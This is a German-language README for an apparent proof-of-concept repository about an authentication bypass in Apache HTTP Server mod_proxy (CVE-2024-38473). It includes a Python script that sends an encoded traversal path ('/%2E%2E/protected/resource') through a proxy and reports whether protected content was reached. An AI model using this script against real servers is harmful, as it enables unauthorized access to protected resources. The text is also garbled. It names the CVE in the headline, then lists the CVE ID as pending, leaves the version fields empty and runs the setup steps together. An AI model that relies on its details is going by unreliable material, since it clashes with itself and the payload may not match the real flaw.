
Proof-of-Concept-Skripte, die eine Kodierungsschwachstelle im Apache HTTP Server mod_proxy (CVE-2024-38473) demonstrieren, die eine Authentifizierungsumgehung über manipulierte Anfrage-URLs an Backend-Dienste ermöglicht.
Dieses Repository enthält Proof-of-Concept (PoC)-Skripte zur Demonstration eines Kodierungsproblems im mod_proxy-Modul des Apache HTTP Servers in den Versionen 2.4.59 und früher. Diese Schwachstelle ermöglicht es, Anfrage-URLs mit falscher Kodierung an Backend-Dienste zu senden und dabei potenziell die Authentifizierung durch manipulierte Anfragen zu umgehen.
CVE-ID: (Ausstehend)
Übersicht:
Ein Kodierungsproblem im mod_proxy-Modul des Apache HTTP Servers in den Versionen 2.4.59 und früher ermöglicht es, Anfrage-URLs mit falscher Kodierung an Backend-Dienste zu senden. Dies kann potenziell Authentifizierungsmechanismen durch manipulierte Anfragen umgehen. Benutzern wird empfohlen, auf Version 2.4.60 zu aktualisieren, die dieses Problem behebt.
Betroffene Versionen:
Behobene Version:
requests-Bibliothek (pip install requests)Backend-Dienst identifizieren:
http://backend-service.example.com befindet.Bösartige Anfrage erstellen:
PoC-Skript ausführen:
mod_proxy_poc.py und führen Sie es aus.Hier ist ein Python-Skript, das die Schwachstelle demonstriert:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
Konfiguration:
proxy_url: Die URL des Proxy-Servers.backend_service_path: Der Pfad zur geschützten Ressource auf dem Backend-Dienst.malicious_path: Der falsch kodierte Pfad, um die Authentifizierung zu umgehen.send_malicious_request:
Um diese Schwachstelle zu beheben, aktualisieren Sie auf Apache HTTP Server Version 2.4.60, die das Kodierungsproblem im mod_proxy-Modul behebt.
Indem Sie Ihre Software auf dem neuesten Stand halten und Sicherheitsbest Practices befolgen, können Sie Schwachstellen wie dieses Kodierungsproblem im mod_proxy-Modul verhindern.